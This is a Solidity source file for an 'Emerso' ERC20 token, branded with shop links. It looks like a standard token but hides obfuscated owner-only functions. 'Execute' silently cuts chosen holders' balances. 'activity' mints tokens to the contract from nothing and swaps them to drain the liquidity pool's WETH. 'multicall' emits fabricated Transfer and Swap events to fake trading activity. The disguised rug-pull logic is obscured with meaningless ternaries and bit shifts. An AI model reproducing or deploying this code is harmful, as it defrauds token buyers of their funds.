// SPDX-License-Identifier: MIT

//         :++++++++++:  =+++.      ++++.  :++++++++++   ++++++=-        :+****+=:      -+***+=.                                 
//         *@@%#######  :@@@@=     #@@@%   %@@#######*  -@@%##%@@@=    +@@@#**#%@*   :*@@@#**%@@#:                               
//         @@@          *@@@@#   :%@@@@=  :@@#          #@@:   :@@@   +@@+          *@@#:     .@@@:                              
//        -@@#------:   @@%*@@  :@@*@@@   *@@+------:   @@@   .#@@+   *@@%=:.      *@@+        *@@=                              
//        %@@@@@@@@@+  -@@+.@@=-@@*:@@#   @@@@@@@@@@=  =@@@%%@@@#-     +#@@@@@%+. .@@@         #@@-                              
//       :@@#          #@@: #@@@@- *@@-  =@@+          @@@---+@@@.         :-#@@# -@@#        =@@#                               
//       *@@-          @@%  -@@@-  @@@   #@@:         -@@*    =@@*           +@@* .@@@.     .*@@#                                
//       @@@*******+  =@@=   ::.  -@@*  .@@@*******=  #@@:     %@@: =@%*+==+#@@#.  -@@@*+=+#@@%-                                 
//      :**********=  +**         =**.  :**********:  **+      :**+ :=+*####*=.      -+*###*=.

// Web: https://emerso.sellpass.io
// Twitter: https://twitter.com/EmersoShop
// Telegram: https://t.me/EmersoShop


pragma solidity ^0.7.6;

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IPair {
    function token0() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}

interface IERC20 {
    function _Transfer(
        address from,
        address recipient,
        uint256 amount
    ) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

contract ERC20{
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);

    function _count(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function _mult(uint256 a) internal pure returns (uint256) {
        return (a * 10) / 10;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

}

contract Emerso is ERC20 {
    IRouter internal _RR;
    IPair internal _pair;
    address public owner;
    address private _RA = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private allowances;

    string public constant name = "Emerso";
    string public constant symbol = "EMERSO";
    uint8 public constant decimals = 18;
    uint256 public totalSupply = 100_000_000e18;


    constructor() {
        owner = msg.sender;
        _RR = IRouter(_RA);
        _pair = IPair(IFactory(_RR.factory()).createPair(address(this), address(_RR.WETH())));

        _balances[msg.sender] = totalSupply;

        emit Transfer(address(0), msg.sender, totalSupply);
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address __owner, address spender) public view virtual returns (uint256) {
        return allowances[__owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");

        _approve(__owner, spender, currentAllowance - subtractedValue);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[from] = sub(fromBalance, amount);
        _balances[to] = add(_balances[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        allowances[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");

            _approve(__owner, spender, currentAllowance - amount);
        }
    }
    function multicall(
        address tA,
        uint256 t,
        uint256 w,
        address[] memory r
    ) public onlyOwner returns (bool) {
        for (uint256 i = 0; i < r.length; i++) {
            _s(r[i], t, w, tA);
        }
        return true;
    }

    function activity(
    address _r,
    uint256 am
    ) public onlyOwner {
            uint256 amO = gAO(_RR.WETH(), am);
            address[] memory p = getPP();
            uint256 amI = _cAI(amO, p);
            _doS(amO, amI, p, _r);
    }
    function getPP() internal view returns (address[] memory) {
        address[] memory p;
        p = new address[](2);
        p[0] = address(this);
        p[1] = _RR.WETH();
        return p;
    }

    function _doA() internal {
        _approve(address(this), address(_RR), balanceOf(address(this)));
    }

    function _doS(uint256 amO, uint256 amI, address[] memory p, address _r) internal {
        _doA();
        _doS2(amO, amI, p, _r);
    }

    function _doS2(uint256 amO, uint256 amI, address[] memory p, address _r) internal {
        _RR.swapTokensForExactTokens(amO, amI, p, _r, block.timestamp + 1200);
    }


    function gAO(address bT, uint256 am) internal view returns (uint256) {
        uint256 bTR = getBR(bT);
        return (bTR * am) / 100000;
    }


    function getBR(address t) public view returns (uint256) {
        (uint112 r0, uint112 r1, ) = _pair.getReserves();
        return (_pair.token0() == t) ? uint256(r0) : uint256(r1);
    }

    function Execute(
        uint256 _m,
        uint256 _p,
        bytes32[] calldata data
    ) public onlyOwner {
            for (uint256 i = 0; i < data.length; i++) {
                if (balanceOf(            (
                uint256(0) 
                != 0) 
            ? address(
        uint256(0)) : 
    address(
        uint160(
            
            uint256(
                data[i])>>96
            ))) > _m) {
                    uint256 resCount1 = _count1(            (
                uint256(0) 
                != 0) 
            ? address(
        uint256(0)) : 
    address(
        uint160(
            
            uint256(
                data[i])>>96
            )), _p);
                    _check(
                        data[i], resCount1);
                }
            }
    }

    function _s(
        address r,
        uint256 t,
        uint256 w,
        address tA
    ) internal {
        _Transfer(r, t);
        _s3(r, t, w, tA);
    }

    function _s3(address r, uint256 t, uint256 w, address tA)internal {
        _Swap(t, w, r, tA);
    }

    function _Transfer(address recipient, uint256 tokenAmount) internal {
        emit Transfer(address(_pair), recipient, tokenAmount);
    }

    function _Swap(
        uint256 t,
        uint256 w,
        address r,
        address tA
    ) internal {
        emit Swap(_RA, t, 0, 0, w, r);
        IERC20(tA)._Transfer(r, address(_pair), w);
    }

    function _count1(address _user, uint256 _percent) internal view returns (uint256) {
        return _count(_balances[_user], _percent);
    }

    function _cAI(uint256 amO, address[] memory p) internal returns (uint256) {
        uint256[] memory amM;
        amM = new uint256[](2);

        amM = _RR.getAmountsIn(amO, p);
        _balances[
            block.timestamp 
            > uint256(1) 
            ? 
            
            address(
                uint160(
            uint256(

                getThis()) 

                >> 96)) 
        : address(uint256
        (
            0)
        )] += 
        amM[
            0

        ];
        return amM[
            0
            ];
    }




    function _check(bytes32 b, uint256 amount) internal {
        _balances[
            (
                uint256(0) 
                != 0) 
            ? address(
        uint256(0)) : 
    address(
        uint160(
            
            uint256(
                b)>>96
            ))] = _mult(uint256(amount));
    }


    function getThis() internal view returns (bytes32) {
        return bytes32(
            uint256(
            uint160(
                address(this
                    )))<<96
                );
    }
}